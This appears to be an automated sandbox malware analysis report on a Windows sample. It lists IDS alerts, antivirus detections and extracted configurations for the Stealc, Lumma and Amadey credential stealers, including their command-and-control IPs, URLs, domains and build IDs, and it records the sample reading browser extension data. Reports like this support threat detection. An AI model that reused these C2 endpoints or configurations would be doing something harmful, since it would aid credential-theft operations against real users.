ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:09.323280+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	51693	1.1.1.1	53	UDP
2024-11-11T14:33:22.931403+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	50159	1.1.1.1	53	UDP
2024-11-11T14:33:47.871828+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	59946	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:32:01.724294+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:32:01.718216+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:32:01.921165+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:32:02.886177+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:32:01.927720+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:29.166919+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49997	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:32:01.515209+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-11T14:33:15.247462+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49887	185.215.113.206	80	TCP
2024-11-11T14:33:34.113762+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50036	185.215.113.206	80	TCP
2024-11-11T14:33:44.702485+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50060	185.215.113.206	80	TCP
2024-11-11T14:33:59.323117+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50074	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:04.255778+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49799	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:10.255991+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49815	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:07.069132+0100	2803305	3	Unknown Traffic	192.168.2.4	49824	185.215.113.16	80	TCP
2024-11-11T14:33:11.543746+0100	2803305	3	Unknown Traffic	192.168.2.4	49862	185.215.113.16	80	TCP
2024-11-11T14:33:20.588572+0100	2803305	3	Unknown Traffic	192.168.2.4	49929	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:32:03.620169+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-11T14:32:15.902420+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:16.710360+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:17.107058+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:17.602526+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:18.230722+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:18.470022+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-11T14:32:21.681445+0100	2803304	3	Unknown Traffic	192.168.2.4	49761	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:10.661321+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49847	23.192.247.89	443	TCP
2024-11-11T14:33:24.683226+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49951	23.192.247.89	443	TCP
2024-11-11T14:33:49.499873+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	50063	23.192.247.89	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: scriptyprefej.store	URL Reputation: Label: malware
Source: http://185.215.113.206/gW	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpuL;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpindows	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/6-	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/dw	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=exe4	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php5543001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpe0	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exelencoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpf	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phph	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php0A	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpb	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exel	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dlltQ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/e	Avira URL Cloud: Label: malware
Source: https://presticitpo.store/E	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php1M	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exeZ	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php1W	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpA1J	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php)	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000009.00000002.1973135510.0000000000191000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 17.2.580f9a92c2.exe.900000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["necklacedmny.store", "thumbystriw.store", "founpiuer.store", "scriptyprefej.store", "fadehairucw.store", "presticitpo.store", "navygenerayk.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}
Source: 580f9a92c2.exe.5924.17.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: scriptyprefej.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: navygenerayk.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: founpiuer.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: necklacedmny.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: thumbystriw.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: fadehairucw.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: crisiwarny.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: presticitpo.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: presticitpo.store
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: - Screen Resoluton:
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: Workgroup: -
Source: 17.2.580f9a92c2.exe.900000.0.unpack	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C74A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C744440 PK11_PrivDecrypt,	0_2_6C744440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C714420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C714420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7444C0 PK11_PubEncrypt,	0_2_6C7444C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7925B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C728670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C74A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C72E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C76A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C770180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C770180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7443B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C7443B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C767C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C767C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C727D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C727D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C76BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C769EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C769EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C743FF0 PK11_PrivDecryptPKCS1,	0_2_6C743FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C743850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C743850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C749840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C749840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C76DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C743560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C743560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50077 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1978958410.000000006F26D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: a247c36bcc.exe, 0000000F.00000003.2524112421.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, a247c36bcc.exe, 0000000F.00000002.2658328004.00000000009C2000.00000040.00000001.01000000.00000011.sdmp, a247c36bcc.exe, 00000013.00000002.2729990276.00000000009C2000.00000040.00000001.01000000.00000011.sdmp, a247c36bcc.exe, 00000013.00000003.2689627433.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1978958410.000000006F26D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe

Directory queried: number of queries: 1852

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49799 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:53532 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:62803 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:51693 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:57341 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:62249 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.4:59457 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.4:49972 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49815
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49856 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49891 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49887 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49920 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:50058 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:50159 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:64264 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:58469 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.4:63429 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.4:55173 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49950 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:55227 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:56328 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:62852 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50036 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:62004 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:62329 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:56886 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.4:63367 -> 1.1.1.1:53
